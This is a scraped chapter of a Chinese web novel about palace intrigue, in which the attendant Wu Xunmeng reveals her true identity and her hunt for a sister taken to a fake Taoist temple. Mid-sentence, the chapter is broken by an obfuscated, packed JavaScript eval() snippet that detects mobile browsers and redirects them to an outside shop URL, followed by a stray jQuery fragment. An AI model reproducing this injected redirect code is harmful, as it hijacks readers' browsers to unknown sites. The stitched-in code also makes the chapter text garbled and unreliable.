文趣网 > 其他小说 > 错穿太子新婚夜 > 45. 假道观(下)
    丞相府内,茶杯瓷碗碎裂一地,时珉两眼淬火,脖子脸颊气得通红。

    伍寻梦“嗵”地一声跪在碎片上。

    时珉目光颤动了一下,又转过头不看她,紧咬牙关。

    “太子妃,梦姐姐不是有意的……”小禾站在一旁细语道。

    时珉厉声说道:“你要求情就一起跪着!”

    一行人乘坐秦子阵的马车,一回到丞相府,就来到时珉卧室,关上房门。

    假道观处于城郊,若是无事,巡捕营不会刻意去巡逻。但是褚一墨担心会有变故,让秦子阵在不远处候着静观其变,没想到假道观直接被炸了。

    “巡捕营现在接手了假道观,虽然地牢发生了爆炸,但一定有幸存的人和证据,绝对不会让他们逃掉的。”褚一墨对时珉说道。

    “如果不是我一时冲动,他们不会气急败坏炸了道观。”伍寻梦眼神落在地面,下巴却略微抬起一些。

    时珉怒拍桌子,手掌哗啦啦地疼,“你一时冲动?你一时冲动就把人劈晕?连道观到底是真是假都不知道你就上手?我看你不是冲动,是蓄谋已久啊!”

    伍寻梦动了动喉咙,没有回答。

    “在地牢里,忍住不救人是不可能的。但是我们……”时珉走到伍寻梦面前蹲在地上和她平视,“我们马上就可以逃出去了!我们差一点就可以逃出去了!你弄那么大动静干嘛?我跟你说了我们这次只是去查看情况,不要打草惊蛇,只要我们有了证据,就可以去揭发他们,到时候人证物证都能留下的。现在呢?物证搞不好被炸没了,人证,那些坏人,固然是自食恶果,可那些你本来想救的人呢?还能留下几个?”

    伍寻梦深吸一口气,下颌动了动,脸上没有悲伤,只有愤怒和傲气。

    “你和我倔什么倔!”时珉大喊一声。

    伍寻梦紧咬牙关,双眼猩红,从腰间掏出一把匕首,“今日之事,过错在我,我愿偿命,你杀了我吧。”

    时珉怒目圆睁,不可置信地瞪着伍寻梦,看了眼她手里的匕首,朝旁边白了一眼,心里有一万句脏话要骂出来,到了嘴边又憋了回去。

    伍寻梦面不改色,将匕首递给时珉。

    时珉抬眼看了她视死如归的表情,拿起匕首。

    一把扔开。

    “人不是你抓的,药不是你做的,火也不是你放的,我杀你做什么。”

    伍寻梦这时候下巴才有些颤抖,但她动了动喉咙,把自己的情绪压制回去。

    时珉盘腿坐在伍寻梦面前,还好裤子比较厚,地上的碎片有点膈屁股。

    “我只要你告诉我,为什么要这么做?你和那个道观有什么没有告诉我的私仇吗?”

    伍寻梦紧闭嘴唇,下颌又推了推。

    时珉用力闭上眼睛,心里暗骂:倔得跟头驴似的。

    “或者换一个问法,”褚一墨走到时珉身后,说道:“你和丞相府有什么私仇?”

    伍寻梦眼帘一抬,神情惊愕,又赶紧低下头。

    时珉皱着眉回头看了眼,被褚一墨拉起来,时珉拍拍屁股,坐回凳子上。

    “你来到丞相府有什么目的?接近太子妃又有什么目的?你为什么要参加科举,为什么要入宫?”

    褚一墨一连串问题丢出去,伍寻梦嘴唇开阖着,两眼从泛着血红到映着烛光,眼泪从眼尾落下,她将眼泪一把抹去,又闭上嘴。

    “伍寻梦,你不告诉我们,又怎知我们不会帮你?”时珉弯下腰,手肘撑在膝盖上。

    伍寻梦视线流转,咬了下嘴唇,长叹一口气,“我不叫伍寻梦。”

    时珉双眉低压,眼皮却撑得很高。

    伍寻梦抬头看着时珉,“我不叫伍寻梦,我叫杨小花。

    “不是什么了不起的名字,你们没听过也很正常。父亲在我很小的时候被抓去做苦力累死了,母亲照顾我和妹妹心力交瘁,我九岁那年,她得了一场风寒,也死了,留下我和妹妹两个人。我很害怕,但日子还是得过。只是我才刚刚学会怎么照顾妹妹,只过了一年……那年她六岁,两个暴徒冲进我家,我打不过他们,妹妹被抓走了。我妹妹的名字叫杨小梦。

    “我跑了很久,没有追上他们。后来,我满大街的跑啊找啊,什么都没有找到。吃的也没了,身上的伤也没好,应该是昏了过去,练伍场的人把我救回去。他们本来不想让我留下的,我说可以打杂,用打杂换学功夫,他们同意了。练伍场老板夫妇有许多徒弟,但是没有孩子,或许是我工作比较卖力,他们直接收养了我,给我改了姓,从那以后,我的名字就叫做伍寻梦。

    “会了点功夫,我找起人来就更方便了。大约两年的时间吧,我找到了其中一个凶徒,他平时道观宫城两边跑。我把他抓起来打残,逼问他,他对我说……呵呵呵……他对我说,他抓了这么多人,哪里记得谁是谁,反正都送进道观了,哪有活着出来的。他死之前还说自己宫里有人,那我就去宫里,我会把他‘有’的人也杀了。”

    伍寻梦说完,房间里寂静无声,时珉眸光低垂,褚一墨瞥了一眼伍寻梦,小禾眼睛睁得很大,抬手很迅速地抹掉了眼尾的一滴泪。

    “你在假道观地牢里,是为了泄愤?”时珉问道。

    “是,也不是,我想毁了那个地方。”

    “你既然知道那名凶徒来往道观和宫城,难道不知道假道观是用来做什么的?”褚一墨发问。

    “那人只是负责‘运货’的,道观也好宫城也罢,他都无权出入。我妹妹死了,死在哪里,尸首在何处,我不知道,我不敢找她,我只想去宫里杀人。”

    褚一墨正色道:“那这一切和丞相府有什么关系?”

    伍寻梦咽了下喉,看了眼时珉,又将视线转向褚一墨,“我武科落选,本以为无力回天。但是殿下找到了我,说了丞相府,我想,苏承舟和……和汪志祥交好,给他的女儿当侍女,或许比在别的官员那里当侍女更有机会进宫。”

    时珉神情凝重,手臂搁在桌上,手掌自然垂落,长长地叹了口气。

    “罢了,时候不早了,你去库房拿点伤药,回屋去吧。”

    伍寻梦眸光逐渐恢复亮光,神情有些凝滞,“你不杀我?”

    “我刚刚说过了,不会杀你的。”

    “那道观……”

    “待秦子阵查明,我们就会回宫禀明情况,你和我们一起去,该死的另有其人。”

    伍寻梦紧抿嘴唇,唇角颤抖着,眼泪从眼眶里滚落。

    “快回屋吧。”

    “是。”

    伍寻梦离开房间后,小禾一个箭步跪到时珉面前,把时珉吓了一跳。

    “喂!你……你又干嘛!”

    “太子妃,小禾也要去!”

    小禾眼睛里的泪水

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17867956|209191||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    还没干,神色异常郑重。

    “你去干什么?”

    “我不管!我要去!”

    她情绪激动,眼泪也跟着落下,时珉抹掉她的泪珠,无奈地笑道:“你去干什么?今天吓到你了吧?”

    “我去作证!我看见了!多一个证人就多一份指望!”

    “你现在算是我的侍女,他们不见得会相信你说的,搞不好以为是我指使的呢?”

    “我是新来的,在这里没多少天,我的话他们可能会相信的。而且,而且我亲眼见到过啊,那里都已经被烧了炸了,多一个人记得细节也好啊!”

    “小禾,进宫作证不是这么简单的,若是他们颠倒是非黑白,到最后遭殃少不了你啊。伍寻梦和此案有关,我和太子主导此案,你可以不用牵连其中的。”

    “我不管!我一定要去!就算死在里面也没关系!太子妃,珉姐姐,你要是不答应,我就跪在这里不起来了!”小禾瞪着两个圆眼睛跪坐在地上,鼻翼微微扩开,嘴巴翘得可以挂个葫芦。

    时珉抓狂地挠了挠头,盯着褚一墨求助,褚一墨难得也动了些恻隐之心。

    “先让她起来吧。”

    时珉瘪了瘪嘴,“你先起来吧,我们会考虑的。”

    “好的!我就当你答应了!”

    小禾笑着风风火火跑出去了。

    看着她离开的背影,不知为何,充斥着昏暗与血红的一天好像多了一抹亮色。

    过了一会儿,时珉也走出去。

    “你去哪儿?”褚一墨问道。

    “我马上回来。”然后,时珉消失在门口。

    过了一会儿,时珉一脸死灰一样拿着扫帚和簸箕进屋,走到碎瓷片前面开始扫地。

    “哎,这个交给下人来做就是了,你干嘛……”

    “早知道不摔杯子了,一个两个的不看地啪嗒一下就跪了。哎。”

    褚一墨从时珉手里抢过扫帚,把瓷片扫到她拿着的簸箕里,“你也不是一屁股坐了上去?”

    “冲动是魔鬼啊。”

    瓷片扫完,褚一墨从时珉手里拿过簸箕,把垃圾倒了,工具放到一边。

    “怎么就这么自然地让她们跪下了呢,怎么就让她觉得我有生杀大权呢……”

    “哎,这事儿怪太子,是太子让她只听命于太子妃的。”褚一墨坐到时珉身前,撑着下巴看她。

    时珉白了一眼。

    “不过她说的话你都信么?”褚一墨问道。

    “你不信?”

    “一面之词,半真半假,不能全信。”

    “那你刚才怎么没有……”

    “你很信任她,她对你也足够忠诚。虽说掌权者会幻想下面的人可以无我无私地忠诚,但是只要是个人总是会有私心的,你有她需要的东西,她也愿意为你卖命,没什么可阻止的。”

    宫城之内,又一套茶具碎裂殒命。

    “是谁?”

    “汪公公,小的……小的不知道啊!那些人蒙着面,道观外还有巡捕营的人接应。”

    “巡捕营……太子……”汪志祥鼻翼抽动着。

    “道观现在已经烧了大半了,那我们……”

    “只能先停下,不能让他们发现。烧了大半……你派人去把道观全部炸了,不能留下痕迹。”

    “可是,可是巡捕营已经接管道观了啊!”